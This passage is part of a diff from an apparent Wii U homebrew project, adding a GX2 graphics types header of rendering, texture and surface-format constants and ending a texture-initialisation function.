tex->surface.aa = GX2_AA_MODE_1X;
|
||||||
|
tex->surface.use = GX2_SURFACE_USE_TEXTURE;
|
||||||
|
tex->surface.image_size = 0;
|
||||||
|
tex->surface.image_data = NULL;
|
||||||
|
tex->surface.mip_size = 0;
|
||||||
|
tex->surface.mip_data = NULL;
|
||||||
|
tex->surface.tile = tile;
|
||||||
|
tex->surface.swizzle = 0;
|
||||||
|
tex->surface.align = 0;
|
||||||
|
tex->surface.pitch = 0;
|
||||||
|
u32 i;
|
||||||
|
for(i = 0; i < 13; i++)
|
||||||
|
tex->surface.mip_offset[i] = 0;
|
||||||
|
tex->view_first_mip = 0;
|
||||||
|
tex->view_mips_count = num_mips;
|
||||||
|
tex->view_first_slice = 0;
|
||||||
|
tex->view_slices_count = depth;
|
||||||
|
tex->component_selector = texture_comp_selector[format & 0x3f];
|
||||||
|
for(i = 0; i < 5; i++)
|
||||||
|
tex->regs[i] = 0;
|
||||||
|
|
||||||
|
GX2CalcSurfaceSizeAndAlignment(&tex->surface);
|
||||||
|
GX2InitTextureRegs(tex);
|
||||||
|
}
|
||||||
|
|
||||||
|
#ifdef __cplusplus
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#endif // __GX2_FUNCTIONS_H_
|
699
src/dynamic_libs/gx2_types.h
Normal file
699
src/dynamic_libs/gx2_types.h
Normal file
@ -0,0 +1,699 @@
|
|||||||
|
/****************************************************************************
|
||||||
|
* Copyright (C) 2015
|
||||||
|
* by Dimok
|
||||||
|
*
|
||||||
|
* This software is provided 'as-is', without any express or implied
|
||||||
|
* warranty. In no event will the authors be held liable for any
|
||||||
|
* damages arising from the use of this software.
|
||||||
|
*
|
||||||
|
* Permission is granted to anyone to use this software for any
|
||||||
|
* purpose, including commercial applications, and to alter it and
|
||||||
|
* redistribute it freely, subject to the following restrictions:
|
||||||
|
*
|
||||||
|
* 1. The origin of this software must not be misrepresented; you
|
||||||
|
* must not claim that you wrote the original software. If you use
|
||||||
|
* this software in a product, an acknowledgment in the product
|
||||||
|
* documentation would be appreciated but is not required.
|
||||||
|
*
|
||||||
|
* 2. Altered source versions must be plainly marked as such, and
|
||||||
|
* must not be misrepresented as being the original software.
|
||||||
|
*
|
||||||
|
* 3. This notice may not be removed or altered from any source
|
||||||
|
* distribution.
|
||||||
|
***************************************************************************/
|
||||||
|
#ifndef _GX2_TYPES_H_
|
||||||
|
#define _GX2_TYPES_H_
|
||||||
|
|
||||||
|
#ifdef __cplusplus
|
||||||
|
extern "C" {
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#include <gctypes.h>
|
||||||
|
|
||||||
|
//!-----------------------------------------------------------------------------------------------------------------------
|
||||||
|
//! Constants
|
||||||
|
//!-----------------------------------------------------------------------------------------------------------------------
|
||||||
|
#define GX2_COMMAND_BUFFER_SIZE 0x400000
|
||||||
|
#define GX2_SCAN_BUFFER_ALIGNMENT 0x1000
|
||||||
|
#define GX2_SHADER_ALIGNMENT 0x100
|
||||||
|
#define GX2_CONTEXT_STATE_ALIGNMENT 0x100
|
||||||
|
#define GX2_DISPLAY_LIST_ALIGNMENT 0x20
|
||||||
|
#define GX2_VERTEX_BUFFER_ALIGNMENT 0x40
|
||||||
|
#define GX2_INDEX_BUFFER_ALIGNMENT 0x20
|
||||||
|
|
||||||
|
#define GX2_CONTEXT_STATE_SIZE 0xA100
|
||||||
|
|
||||||
|
#define GX2_AUX_BUFFER_CLEAR_VALUE 0xCC
|
||||||
|
|
||||||
|
//!-----------------------------------------------------------------------------------------------------------------------
|
||||||
|
//! Common
|
||||||
|
//!-----------------------------------------------------------------------------------------------------------------------
|
||||||
|
#define GX2_FALSE 0
|
||||||
|
#define GX2_TRUE 1
|
||||||
|
#define GX2_DISABLE 0
|
||||||
|
#define GX2_ENABLE 1
|
||||||
|
|
||||||
|
//!-----------------------------------------------------------------------------------------------------------------------
|
||||||
|
//! GX2InitAttrib
|
||||||
|
//!-----------------------------------------------------------------------------------------------------------------------
|
||||||
|
#define GX2_INIT_ATTRIB_NULL 0
|
||||||
|
#define GX2_INIT_ATTRIB_CB_BASE 1
|
||||||
|
#define GX2_INIT_ATTRIB_CB_SIZE 2
|
||||||
|
#define GX2_INIT_ATTRIB_ARGC 7
|
||||||
|
#define GX2_INIT_ATTRIB_ARGV 8
|
||||||
|
|
||||||
|
//!-----------------------------------------------------------------------------------------------------------------------
|
||||||
|
//! GX2 compare functions
|
||||||
|
//!-----------------------------------------------------------------------------------------------------------------------
|
||||||
|
#define GX2_COMPARE_NEVER 0
|
||||||
|
#define GX2_COMPARE_LESS 1
|
||||||
|
#define GX2_COMPARE_EQUAL 2
|
||||||
|
#define GX2_COMPARE_LEQUAL 3
|
||||||
|
#define GX2_COMPARE_GREATER 4
|
||||||
|
#define GX2_COMPARE_NOTEQUAL 5
|
||||||
|
#define GX2_COMPARE_GEQUAL 6
|
||||||
|
#define GX2_COMPARE_ALWAYS 7
|
||||||
|
|
||||||
|
//!-----------------------------------------------------------------------------------------------------------------------
|
||||||
|
//! GX2 stencil functions
|
||||||
|
//!-----------------------------------------------------------------------------------------------------------------------
|
||||||
|
#define GX2_STENCIL_KEEP 0
|
||||||
|
#define GX2_STENCIL_ZERO 1
|
||||||
|
#define GX2_STENCIL_REPLACE 2
|
||||||
|
#define GX2_STENCIL_INCR 3
|
||||||
|
#define GX2_STENCIL_DECR 4
|
||||||
|
#define GX2_STENCIL_INVERT 5
|
||||||
|
#define GX2_STENCIL_INCR_WRAP 6
|
||||||
|
#define GX2_STENCIL_DECR_WRAP 7
|
||||||
|
|
||||||
|
//!-----------------------------------------------------------------------------------------------------------------------
|
||||||
|
//! GX2 logic op functions
|
||||||
|
//!-----------------------------------------------------------------------------------------------------------------------
|
||||||
|
#define GX2_LOGIC_OP_CLEAR 0x00
|
||||||
|
#define GX2_LOGIC_OP_NOR 0x11
|
||||||
|
#define GX2_LOGIC_OP_INVAND 0x22
|
||||||
|
#define GX2_LOGIC_OP_INVCOPY 0x33
|
||||||
|
#define GX2_LOGIC_OP_REVAND 0x44
|
||||||
|
#define GX2_LOGIC_OP_INV 0x55
|
||||||
|
#define GX2_LOGIC_OP_XOR 0x66
|
||||||
|
#define GX2_LOGIC_OP_NAND 0x77
|
||||||
|
#define GX2_LOGIC_OP_AND 0x88
|
||||||
|
#define GX2_LOGIC_OP_EQUIV 0x99
|
||||||
|
#define GX2_LOGIC_OP_NOOP 0xAA
|
||||||
|
#define GX2_LOGIC_OP_INVOR 0xBB
|
||||||
|
#define GX2_LOGIC_OP_COPY 0xCC
|
||||||
|
#define GX2_LOGIC_OP_REVOR 0xDD
|
||||||
|
#define GX2_LOGIC_OP_OR 0xEE
|
||||||
|
#define GX2_LOGIC_OP_SET 0xFF
|
||||||
|
|
||||||
|
//!-----------------------------------------------------------------------------------------------------------------------
|
||||||
|
//! GX2 blend combination functions
|
||||||
|
//!-----------------------------------------------------------------------------------------------------------------------
|
||||||
|
#define GX2_BLEND_COMBINE_ADD 0x00
|
||||||
|
#define GX2_BLEND_COMBINE_SRC_MINUS_DST 0x01
|
||||||
|
#define GX2_BLEND_COMBINE_MIN 0x02
|
||||||
|
#define GX2_BLEND_COMBINE_MAX 0x03
|
||||||
|
#define GX2_BLEND_COMBINE_DST_MINUS_SRC 0x04
|
||||||
|
|
||||||
|
//!-----------------------------------------------------------------------------------------------------------------------
|
||||||
|
//! GX2 blend functions
|
||||||
|
//!-----------------------------------------------------------------------------------------------------------------------
|
||||||
|
#define GX2_BLEND_ZERO 0x00
|
||||||
|
#define GX2_BLEND_ONE 0x01
|
||||||
|
#define GX2_BLEND_SRC_ALPHA 0x04
|
||||||
|
#define GX2_BLEND_ONE_MINUS_SRC_ALPHA 0x05
|
||||||
|
|
||||||
|
//!-----------------------------------------------------------------------------------------------------------------------
|
||||||
|
//! GX2 render targets
|
||||||
|
//!-----------------------------------------------------------------------------------------------------------------------
|
||||||
|
#define GX2_RENDER_TARGET_0 0
|
||||||
|
#define GX2_RENDER_TARGET_1 1
|
||||||
|
#define GX2_RENDER_TARGET_2 2
|
||||||
|
#define GX2_RENDER_TARGET_3 3
|
||||||
|
#define GX2_RENDER_TARGET_4 4
|
||||||
|
#define GX2_RENDER_TARGET_5 5
|
||||||
|
#define GX2_RENDER_TARGET_6 6
|
||||||
|
#define GX2_RENDER_TARGET_7 7
|
||||||
|
|
||||||
|
//!-----------------------------------------------------------------------------------------------------------------------
|
||||||
|
//! GX2 cull modes
|
||||||
|
//!-----------------------------------------------------------------------------------------------------------------------
|
||||||
|
#define GX2_FRONT_FACE_CCW 0
|
||||||
|
#define GX2_FRONT_FACE_CW 1
|
||||||
|
//!-----------------------------------------------------------------------------------------------------------------------
|
||||||
|
//! GX2 polygon modes
|
||||||
|
//!-----------------------------------------------------------------------------------------------------------------------
|
||||||
|
#define GX2_POLYGON_MODE_POINT 0
|
||||||
|
#define GX2_POLYGON_MODE_LINE 1
|
||||||
|
#define GX2_POLYGON_MODE_TRIANGLE 2
|
||||||
|
|
||||||
|
//!-----------------------------------------------------------------------------------------------------------------------
|
||||||
|
//! GX2 special states
|
||||||
|
//!-----------------------------------------------------------------------------------------------------------------------
|
||||||
|
#define GX2_SPECIAL_STATE_CLEAR 0
|
||||||
|
#define GX2_SPECIAL_STATE_CLEAR_HIZ 1
|
||||||
|
#define GX2_SPECIAL_STATE_COPY 2
|
||||||
|
#define GX2_SPECIAL_STATE_EXPAND_COLOR 3
|
||||||
|
#define GX2_SPECIAL_STATE_EXPAND_DEPTH 4
|
||||||
|
#define GX2_SPECIAL_STATE_CONVERT_DEPTH 5
|
||||||
|
#define GX2_SPECIAL_STATE_CONVERT_AADEPTH 6
|
||||||
|
#define GX2_SPECIAL_STATE_RESOLVE_COLOR 7
|
||||||
|
#define GX2_SPECIAL_STATE_CLEAR_COLOR_AS_DEPTH 8
|
||||||
|
|
||||||
|
//!-----------------------------------------------------------------------------------------------------------------------
|
||||||
|
//! GX2 attribute formats
|
||||||
|
//!-----------------------------------------------------------------------------------------------------------------------
|
||||||
|
#define GX2_ATTRIB_FORMAT_8_UNORM 0x00000000
|
||||||
|
#define GX2_ATTRIB_FORMAT_4_4_UNORM 0x00000001
|
||||||
|
#define GX2_ATTRIB_FORMAT_16_UNORM 0x00000002
|
||||||
|
#define GX2_ATTRIB_FORMAT_8_8_UNORM 0x00000004
|
||||||
|
#define GX2_ATTRIB_FORMAT_16_16_UNORM 0x00000007
|
||||||
|
#define GX2_ATTRIB_FORMAT_8_8_8_8_UNORM 0x0000000A
|
||||||
|
#define GX2_ATTRIB_FORMAT_10_10_10_2_UNORM 0x0000000B
|
||||||
|
#define GX2_ATTRIB_FORMAT_16_16_16_16_UNORM 0x0000000E
|
||||||
|
|
||||||
|
#define GX2_ATTRIB_FORMAT_8_UINT 0x00000100
|
||||||
|
#define GX2_ATTRIB_FORMAT_16_UINT 0x00000102
|
||||||
|
#define GX2_ATTRIB_FORMAT_8_8_UINT 0x00000104
|
||||||
|
#define GX2_ATTRIB_FORMAT_32_UINT 0x00000105
|
||||||
|
#define GX2_ATTRIB_FORMAT_16_16_UINT 0x00000107
|
||||||
|
#define GX2_ATTRIB_FORMAT_8_8_8_8_UINT 0x0000010A
|
||||||
|
#define GX2_ATTRIB_FORMAT_10_10_10_2_UINT 0x0000010B
|
||||||
|
#define GX2_ATTRIB_FORMAT_32_32_UINT 0x0000010C
|
||||||
|
#define GX2_ATTRIB_FORMAT_16_16_16_16_UINT 0x0000010E
|
||||||
|
#define GX2_ATTRIB_FORMAT_32_32_32_UINT 0x00000110
|
||||||
|
#define GX2_ATTRIB_FORMAT_32_32_32_32_UINT 0x00000112
|
||||||
|
|
||||||
|
#define GX2_ATTRIB_FORMAT_8_SNORM 0x00000200
|
||||||
|
#define GX2_ATTRIB_FORMAT_16_SNORM 0x00000202
|
||||||
|
#define GX2_ATTRIB_FORMAT_8_8_SNORM 0x00000204
|
||||||
|
#define GX2_ATTRIB_FORMAT_16_16_SNORM 0x00000207
|
||||||
|
#define GX2_ATTRIB_FORMAT_8_8_8_8_SNORM 0x0000020A
|
||||||
|
#define GX2_ATTRIB_FORMAT_10_10_10_2_SNORM 0x0000020B
|
||||||
|
#define GX2_ATTRIB_FORMAT_16_16_16_16_SNORM 0x0000020E
|
||||||
|
|
||||||
|
#define GX2_ATTRIB_FORMAT_8_SINT 0x00000300
|
||||||
|
#define GX2_ATTRIB_FORMAT_16_SINT 0x00000303
|
||||||
|
#define GX2_ATTRIB_FORMAT_8_8_SINT 0x00000304
|
||||||
|
#define GX2_ATTRIB_FORMAT_32_SINT 0x00000305
|
||||||
|
#define GX2_ATTRIB_FORMAT_16_16_SINT 0x00000307
|
||||||
|
#define GX2_ATTRIB_FORMAT_8_8_8_8_SINT 0x0000030A
|
||||||
|
#define GX2_ATTRIB_FORMAT_10_10_10_2_SINT 0x0000030B
|
||||||
|
#define GX2_ATTRIB_FORMAT_32_32_SINT 0x0000030C
|
||||||
|
#define GX2_ATTRIB_FORMAT_16_16_16_16_SINT 0x0000030E
|
||||||
|
#define GX2_ATTRIB_FORMAT_32_32_32_SINT 0x00000310
|
||||||
|
#define GX2_ATTRIB_FORMAT_32_32_32_32_SINT 0x00000312
|
||||||
|
|
||||||
|
#define GX2_ATTRIB_FORMAT_8_UINT_TO_FLOAT 0x00000800
|
||||||
|
#define GX2_ATTRIB_FORMAT_16_UINT_TO_FLOAT 0x00000802
|
||||||
|
#define GX2_ATTRIB_FORMAT_16_FLOAT 0x00000803
|
||||||
|
#define GX2_ATTRIB_FORMAT_8_8_UINT_TO_FLOAT 0x00000804
|
||||||
|
#define GX2_ATTRIB_FORMAT_32_FLOAT 0x00000806
|
||||||
|
#define GX2_ATTRIB_FORMAT_16_16_UINT_TO_FLOAT 0x00000807
|
||||||
|
#define GX2_ATTRIB_FORMAT_16_16_FLOAT 0x00000808
|
||||||
|
#define GX2_ATTRIB_FORMAT_10_11_11_FLOAT 0x00000809
|
||||||
|
#define GX2_ATTRIB_FORMAT_8_8_8_8_UINT_TO_FLOAT 0x0000080A
|
||||||
|
#define GX2_ATTRIB_FORMAT_32_32_FLOAT 0x0000080D
|
||||||
|
#define GX2_ATTRIB_FORMAT_16_16_16_16_UINT_TO_FLOAT 0x0000080E
|
||||||
|
#define GX2_ATTRIB_FORMAT_16_16_16_16_FLOAT 0x0000080F
|
||||||
|
#define GX2_ATTRIB_FORMAT_32_32_32_FLOAT 0x00000811
|
||||||
|
#define GX2_ATTRIB_FORMAT_32_32_32_32_FLOAT 0x00000813
|
||||||
|
|
||||||
|
#define GX2_ATTRIB_FORMAT_8_SINT_TO_FLOAT 0x00000A00
|
||||||
|
#define GX2_ATTRIB_FORMAT_16_SINT_TO_FLOAT 0x00000A02
|
||||||
|
#define GX2_ATTRIB_FORMAT_8_8_SINT_TO_FLOAT 0x00000A04
|
||||||
|
#define GX2_ATTRIB_FORMAT_16_16_SINT_TO_FLOAT 0x00000A07
|
||||||
|
#define GX2_ATTRIB_FORMAT_8_8_8_8_SINT_TO_FLOAT 0x00000A0A
|
||||||
|
#define GX2_ATTRIB_FORMAT_16_16_16_16_SINT_TO_FLOAT 0x00000A0E
|
||||||
|
|
||||||
|
//!-----------------------------------------------------------------------------------------------------------------------
|
||||||
|
//! GX2 shader modes
|
||||||
|
//!-----------------------------------------------------------------------------------------------------------------------
|
||||||
|
#define GX2_SHADER_MODE_UNIFORM_REGISTER 0
|
||||||
|
#define GX2_SHADER_MODE_UNIFORM_BLOCK 1
|
||||||
|
#define GX2_SHADER_MODE_GEOMETRY_SHADER 2
|
||||||
|
#define GX2_SHADER_MODE_COMPUTE_SHADER 3
|
||||||
|
|
||||||
|
//!-----------------------------------------------------------------------------------------------------------------------
|
||||||
|
//! GX2 shader modes
|
||||||
|
//!-----------------------------------------------------------------------------------------------------------------------
|
||||||
|
#define GX2_COMP_SEL_NONE 0x04040405
|
||||||
|
#define GX2_COMP_SEL_X001 0x00040405
|
||||||
|
#define GX2_COMP_SEL_XY01 0x00010405
|
||||||
|
#define GX2_COMP_SEL_XYZ1 0x00010205
|
||||||
|
#define GX2_COMP_SEL_XYZW 0x00010203
|
||||||
|
#define GX2_COMP_SEL_XXXX 0x00000000
|
||||||
|
#define GX2_COMP_SEL_YYYY 0x01010101
|
||||||
|
#define GX2_COMP_SEL_ZZZZ 0x02020202
|
||||||
|
#define GX2_COMP_SEL_WWWW 0x03030303
|
||||||
|
#define GX2_COMP_SEL_WZYX 0x03020100
|
||||||
|
#define GX2_COMP_SEL_WXYZ 0x03000102
|
||||||
|
|
||||||
|
//!-----------------------------------------------------------------------------------------------------------------------
|
||||||
|
//! GX2 variable types
|
||||||
|
//!-----------------------------------------------------------------------------------------------------------------------
|
||||||
|
#define GX2_VAR_TYPE_VOID 0
|
||||||
|
#define GX2_VAR_TYPE_BOOL 1
|
||||||
|
#define GX2_VAR_TYPE_INT 2
|
||||||
|
#define GX2_VAR_TYPE_UINT 3
|
||||||
|
#define GX2_VAR_TYPE_FLOAT 4
|
||||||
|
#define GX2_VAR_TYPE_DOUBLE 5
|
||||||
|
#define GX2_VAR_TYPE_VEC2 9
|
||||||
|
#define GX2_VAR_TYPE_VEC3 10
|
||||||
|
#define GX2_VAR_TYPE_VEC4 11
|
||||||
|
#define GX2_VAR_TYPE_MAT2 21
|
||||||
|
#define GX2_VAR_TYPE_MAT3 25
|
||||||
|
#define GX2_VAR_TYPE_MAT4 29
|
||||||
|
|
||||||
|
//!-----------------------------------------------------------------------------------------------------------------------
|
||||||
|
//! GX2 sample types
|
||||||
|
//!-----------------------------------------------------------------------------------------------------------------------
|
||||||
|
#define GX2_SAMPLER_TYPE_2D 1
|
||||||
|
|
||||||
|
|
||||||
|
//!-----------------------------------------------------------------------------------------------------------------------
|
||||||
|
//! GX2 index formats
|
||||||
|
//!-----------------------------------------------------------------------------------------------------------------------
|
||||||
|
#define GX2_INDEX_FORMAT_U16 4
|
||||||
|
#define GX2_INDEX_FORMAT_U32 9
|
||||||
|
|
||||||
|
//!-----------------------------------------------------------------------------------------------------------------------
|
||||||
|
//! GX2 primitive types
|
||||||
|
//!-----------------------------------------------------------------------------------------------------------------------
|
||||||
|
#define GX2_PRIMITIVE_POINTS 0x01
|
||||||
|
#define GX2_PRIMITIVE_LINES 0x02
|
||||||
|
#define GX2_PRIMITIVE_LINE_STRIP 0x03
|
||||||
|
#define GX2_PRIMITIVE_TRIANGLES 0x04
|
||||||
|
#define GX2_PRIMITIVE_TRIANGLE_FAN 0x05
|
||||||
|
#define GX2_PRIMITIVE_TRIANGLE_STRIP 0x06
|
||||||
|
#define GX2_PRIMITIVE_RECTS 0x11
|
||||||
|
#define GX2_PRIMITIVE_QUADS 0x13
|
||||||
|
#define GX2_PRIMITIVE_QUAD_STRIP 0x14
|
||||||
|
|
||||||
|
//!-----------------------------------------------------------------------------------------------------------------------
|
||||||
|
//! GX2 clear modes
|
||||||
|
//!-----------------------------------------------------------------------------------------------------------------------
|
||||||
|
#define GX2_CLEAR_DEPTH 0x01
|
||||||
|
#define GX2_CLEAR_STENCIL 0x02
|
||||||
|
#define GX2_CLEAR_BOTH (GX2_CLEAR_DEPTH | GX2_CLEAR_STENCIL)
|
||||||
|
|
||||||
|
//!-----------------------------------------------------------------------------------------------------------------------
|
||||||
|
//! GX2 surface formats
|
||||||
|
//!-----------------------------------------------------------------------------------------------------------------------
|
||||||
|
#define GX2_SURFACE_FORMAT_TC_R8_UNORM 0x00000001
|
||||||
|
#define GX2_SURFACE_FORMAT_T_R4_G4_UNORM 0x00000002
|
||||||
|
#define GX2_SURFACE_FORMAT_TCD_R16_UNORM 0x00000005
|
||||||
|
#define GX2_SURFACE_FORMAT_TC_R8_G8_UNORM 0x00000007
|
||||||
|
#define GX2_SURFACE_FORMAT_TCS_R5_G6_B5_UNORM 0x00000008
|
||||||
|
#define GX2_SURFACE_FORMAT_TC_R5_G5_B5_A1_UNORM 0x0000000a
|
||||||
|
#define GX2_SURFACE_FORMAT_TC_R4_G4_B4_A4_UNORM 0x0000000b
|
||||||
|
#define GX2_SURFACE_FORMAT_TC_A1_B5_G5_R5_UNORM 0x0000000c
|
||||||
|
#define GX2_SURFACE_FORMAT_TC_R16_G16_UNORM 0x0000000f
|
||||||
|
#define GX2_SURFACE_FORMAT_D_D24_S8_UNORM 0x00000011
|
||||||
|
#define GX2_SURFACE_FORMAT_T_R24_UNORM_X8 0x00000011
|
||||||
|
#define GX2_SURFACE_FORMAT_TCS_R10_G10_B10_A2_UNORM 0x00000019
|
||||||
|
#define GX2_SURFACE_FORMAT_TCS_R8_G8_B8_A8_UNORM 0x0000001a
|
||||||
|
#define GX2_SURFACE_FORMAT_TCS_A2_B10_G10_R10_UNORM 0x0000001b
|
||||||
|
#define GX2_SURFACE_FORMAT_TC_R16_G16_B16_A16_UNORM 0x0000001f
|
||||||
|
#define GX2_SURFACE_FORMAT_T_BC1_UNORM 0x00000031
|
||||||
|
#define GX2_SURFACE_FORMAT_T_BC2_UNORM 0x00000032
|
||||||
|
#define GX2_SURFACE_FORMAT_T_BC3_UNORM 0x00000033
|
||||||
|
#define GX2_SURFACE_FORMAT_T_BC4_UNORM 0x00000034
|
||||||
|
#define GX2_SURFACE_FORMAT_T_BC5_UNORM 0x00000035
|
||||||
|
#define GX2_SURFACE_FORMAT_T_NV12_UNORM 0x00000081
|
||||||
|
|
||||||
|
#define GX2_SURFACE_FORMAT_TC_R8_UINT 0x00000101
|
||||||
|
#define GX2_SURFACE_FORMAT_TC_R16_UINT 0x00000105
|
||||||
|
#define GX2_SURFACE_FORMAT_TC_R8_G8_UINT 0x00000107
|
||||||
|
#define GX2_SURFACE_FORMAT_TC_R32_UINT 0x0000010d
|
||||||
|
#define GX2_SURFACE_FORMAT_TC_R16_G16_UINT 0x0000010f
|
||||||
|
#define GX2_SURFACE_FORMAT_T_X24_G8_UINT 0x00000111
|
||||||
|
#define GX2_SURFACE_FORMAT_TC_R10_G10_B10_A2_UINT 0x00000119
|
||||||
|
#define GX2_SURFACE_FORMAT_TC_R8_G8_B8_A8_UINT 0x0000011a
|
||||||
|
#define GX2_SURFACE_FORMAT_TC_A2_B10_G10_R10_UINT 0x0000011b
|
||||||
|
#define GX2_SURFACE_FORMAT_T_X32_G8_UINT_X24 0x0000011c
|
||||||
|
#define GX2_SURFACE_FORMAT_TC_R32_G32_UINT 0x0000011d
|
||||||
|
#define GX2_SURFACE_FORMAT_TC_R16_G16_B16_A16_UINT 0x0000011f
|
||||||
|
#define GX2_SURFACE_FORMAT_TC_R32_G32_B32_A32_UINT 0x00000122
|
||||||
|
|
||||||
|
#define GX2_SURFACE_FORMAT_TC_R8_SNORM 0x00000201
|
||||||
|
#define GX2_SURFACE_FORMAT_TC_R16_SNORM 0x00000205
|
||||||
|
#define GX2_SURFACE_FORMAT_TC_R8_G8_SNORM 0x00000207
|
||||||
|
#define GX2_SURFACE_FORMAT_TC_R16_G16_SNORM 0x0000020f
|
||||||
|
#define GX2_SURFACE_FORMAT_T_R10_G10_B10_A2_SNORM 0x00000219
|
||||||
|
#define GX2_SURFACE_FORMAT_TC_R10_G10_B10_A2_SNORM 0x00000219
|
||||||
|
#define GX2_SURFACE_FORMAT_TC_R8_G8_B8_A8_SNORM 0x0000021a
|
||||||
|
#define GX2_SURFACE_FORMAT_TC_R16_G16_B16_A16_SNORM 0x0000021f
|
||||||
|
#define GX2_SURFACE_FORMAT_T_BC4_SNORM 0x00000234
|
||||||
|
#define GX2_SURFACE_FORMAT_T_BC5_SNORM 0x00000235
|
||||||
|
|
||||||
|
#define GX2_SURFACE_FORMAT_TC_R8_SINT 0x00000301
|
||||||
|
#define GX2_SURFACE_FORMAT_TC_R16_SINT 0x00000305
|
||||||
|
#define GX2_SURFACE_FORMAT_TC_R8_G8_SINT 0x00000307
|
||||||
|
#define GX2_SURFACE_FORMAT_TC_R32_SINT 0x0000030d
|
||||||
|
#define GX2_SURFACE_FORMAT_TC_R16_G16_SINT 0x0000030f
|
||||||
|
#define GX2_SURFACE_FORMAT_TC_R10_G10_B10_A2_SINT 0x00000319
|
||||||
|
#define GX2_SURFACE_FORMAT_TC_R8_G8_B8_A8_SINT 0x0000031a
|
||||||
|
#define GX2_SURFACE_FORMAT_TC_R32_G32_SINT 0x0000031d
|
||||||
|
#define GX2_SURFACE_FORMAT_TC_R16_G16_B16_A16_SINT 0x0000031f
|
||||||
|
#define GX2_SURFACE_FORMAT_TC_R32_G32_B32_A32_SINT 0x00000322
|
||||||
|
|
||||||
|
#define GX2_SURFACE_FORMAT_TCS_R8_G8_B8_A8_SRGB 0x0000041a
|
||||||
|
#define GX2_SURFACE_FORMAT_T_BC1_SRGB 0x00000431
|
||||||
|
#define GX2_SURFACE_FORMAT_T_BC2_SRGB 0x00000432
|
||||||
|
#define GX2_SURFACE_FORMAT_T_BC3_SRGB 0x00000433
|
||||||
|
|
||||||
|
#define GX2_SURFACE_FORMAT_TC_R16_FLOAT 0x00000806
|
||||||
|
#define GX2_SURFACE_FORMAT_TCD_R32_FLOAT 0x0000080e
|
||||||
|
#define GX2_SURFACE_FORMAT_TC_R16_G16_FLOAT 0x00000810
|
||||||
|
#define GX2_SURFACE_FORMAT_D_D24_S8_FLOAT 0x00000811
|
||||||
|
#define GX2_SURFACE_FORMAT_TC_R11_G11_B10_FLOAT 0x00000816
|
||||||
|
#define GX2_SURFACE_FORMAT_D_D32_FLOAT_S8_UINT_X24 0x0000081c
|
||||||
|
#define GX2_SURFACE_FORMAT_T_R32_FLOAT_X8_X24 0x0000081c
|
||||||
|
#define GX2_SURFACE_FORMAT_TC_R32_G32_FLOAT 0x0000081e
|
||||||
|
#define GX2_SURFACE_FORMAT_TC_R16_G16_B16_A16_FLOAT 0x00000820
|
||||||
|
#define GX2_SURFACE_FORMAT_TC_R32_G32_B32_A32_FLOAT 0x00000823
|
||||||
|
|
||||||
|
//!-----------------------------------------------------------------------------------------------------------------------
|
||||||
|
//! GX2 tile modes
|
||||||
|
//!-----------------------------------------------------------------------------------------------------------------------
|
||||||
|
#define GX2_TILE_MODE_DEFAULT 0x00000000
|
||||||
|
#define GX2_TILE_MODE_LINEAR_ALIGNED 0x00000001
|
||||||
|
|
||||||
|
//!-----------------------------------------------------------------------------------------------------------------------
|
||||||
|
//! GX2 surface use
|
||||||
|
//!-----------------------------------------------------------------------------------------------------------------------
|
||||||
|
#define GX2_SURFACE_USE_TEXTURE 0x00000001
|
||||||
|
#define GX2_SURFACE_USE_COLOR_BUFFER 0x00000002
|
||||||
|
#define GX2_SURFACE_USE_DEPTH_BUFFER 0x00000004
|
||||||
|
#define GX2_SURFACE_USE_SCAN_BUFFER 0x00000008
|
||||||
|
#define GX2_SURFACE_USE_FTV 0x80000000
|
||||||
|
#define GX2_SURFACE_USE_COLOR_BUFFER_TEXTURE (GX2_SURFACE_USE_COLOR_BUFFER | GX2_SURFACE_USE_TEXTURE)
|
||||||
|
#define GX2_SURFACE_USE_DEPTH_BUFFER_TEXTURE (GX2_SURFACE_USE_DEPTH_BUFFER | GX2_SURFACE_USE_TEXTURE)
|
||||||
|
#define GX2_SURFACE_USE_COLOR_BUFFER_FTV (GX2_SURFACE_USE_COLOR_BUFFER | GX2_SURFACE_USE_FTV)
|
||||||
|
#define GX2_SURFACE_USE_COLOR_BUFFER_TEXTURE_FTV (GX2_SURFACE_USE_COLOR_BUFFER_TEXTURE | GX2_SURFACE_USE_FTV)
|
||||||
|
|
||||||
|
//!-----------------------------------------------------------------------------------------------------------------------
|
||||||
|
//! GX2 surface dim
|
||||||
|
//!-----------------------------------------------------------------------------------------------------------------------
|
||||||
|
#define GX2_SURFACE_DIM_1D 0x00000000
|
||||||
|
#define GX2_SURFACE_DIM_2D 0x00000001
|
||||||
|
#define GX2_SURFACE_DIM_3D 0x00000002
|
||||||
|
#define GX2_SURFACE_DIM_CUBE 0x00000003
|
||||||
|
#define GX2_SURFACE_DIM_1D_ARRAY 0x00000004
|
||||||
|
#define GX2_SURFACE_DIM_2D_ARRAY 0x00000005
|
||||||
|
#define GX2_SURFACE_DIM_2D_MSAA 0x00000006
|
||||||
|
#define GX2_SURFACE_DIM_2D_MSAA_ARRAY 0x00000007
|
||||||
|
|
||||||
|
//!-----------------------------------------------------------------------------------------------------------------------
|
||||||
|
//! GX2 AA modes
|
||||||
|
//!-----------------------------------------------------------------------------------------------------------------------
|
||||||
|
#define GX2_AA_MODE_1X 0x00000000
|
||||||
|
#define GX2_AA_MODE_2X 0x00000001
|
||||||
|
#define GX2_AA_MODE_4X 0x00000002
|
||||||
|
#define GX2_AA_MODE_8X 0x00000003
|
||||||
|
|
||||||
|
//!-----------------------------------------------------------------------------------------------------------------------
|
||||||
|
//! GX2 texture clamp
|
||||||
|
//!-----------------------------------------------------------------------------------------------------------------------
|
||||||
|
#define GX2_TEX_CLAMP_WRAP 0x00000000
|
||||||
|
#define GX2_TEX_CLAMP_MIRROR 0x00000001
|
||||||
|
#define GX2_TEX_CLAMP_CLAMP 0x00000002
|
||||||
|
#define GX2_TEX_CLAMP_MIRROR_ONCE 0x00000003
|
||||||
|
#define GX2_TEX_CLAMP_CLAMP_HALF_BORDER 0x00000004
|
||||||
|
#define GX2_TEX_CLAMP_MIRROR_ONCE_HALF_BORDER 0x00000005
|
||||||
|
#define GX2_TEX_CLAMP_CLAMP_BORDER 0x00000006
|
||||||
|
#define GX2_TEX_CLAMP_MIRROR_ONCE_BORDER 0x00000007
|
||||||
|
|
||||||
|
//!-----------------------------------------------------------------------------------------------------------------------
|
||||||
|
//! GX2 texture filter
|
||||||
|
//!-----------------------------------------------------------------------------------------------------------------------
|
||||||
|
